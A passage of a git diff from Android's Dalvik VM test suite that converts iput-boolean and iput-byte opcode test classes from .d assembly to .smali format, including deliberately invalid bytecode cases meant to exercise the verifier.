+    new-instance v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d
deleted file mode 100644
index 039f79f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_31.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_31
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_31.st_i1 Z
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali
new file mode 100644
index 0000000..f410fff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_31.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;->st_i1:Z
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d
deleted file mode 100644
index 5b0d440..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_4.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-boolean v3, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali
new file mode 100644
index 0000000..f7eb7cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_4.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-boolean v3, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d
deleted file mode 100644
index 1c26b25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_7.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_7
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_7.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali
new file mode 100644
index 0000000..f7984f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_7.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d
deleted file mode 100644
index ce16612..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_8.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/TestStubs/<init>()V
-       const v1, 0
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.TestStubs.TestStubField Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali
new file mode 100644
index 0000000..c3629c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_8.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+       const v1, 0
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d
deleted file mode 100644
index b740349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_9.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_9
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_9noclass.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali
new file mode 100644
index 0000000..d623a44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_9.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d
deleted file mode 100644
index 860157b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_1.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_1
-.super java/lang/Object
-
-.field public  st_i1 B
-.field protected  st_p1 B
-.field private  st_pvt1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()B
-.limit regs 2
-
-       iget-byte v0, v1, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_pvt1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali
new file mode 100644
index 0000000..6f18e8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_1.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.field protected  st_p1:B
+.field private  st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d
deleted file mode 100644
index 279b2a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_10.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_10
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_10.st_i1N B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali
new file mode 100644
index 0000000..daca81c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_10.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d
deleted file mode 100644
index 9c80461..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_11.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/TestStubs/<init>()V
-
-       const v1, 1
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.TestStubs.TestStubFieldFinal B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali
new file mode 100644
index 0000000..e5f26c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_11.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d
deleted file mode 100644
index ee0355b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_12.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_12
-.super java/lang/Object
-
-.field public  final st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_12.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali
new file mode 100644
index 0000000..9e58945
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_12.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d
deleted file mode 100644
index 26cd104..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_13.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_13
-.super java/lang/Object
-
-.field public  st_i1 B
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 77
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_13.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali
new file mode 100644
index 0000000..3c7b6ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_13.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d
deleted file mode 100644
index 9be11ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_14.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_14
-.super dot/junit/opcodes/iput_byte/d/T_iput_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/d/T_iput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()B
-.limit regs 2
-
-       iget-byte v0, v1, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_p1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_1.st_p1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali
new file mode 100644
index 0000000..c3c31441
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
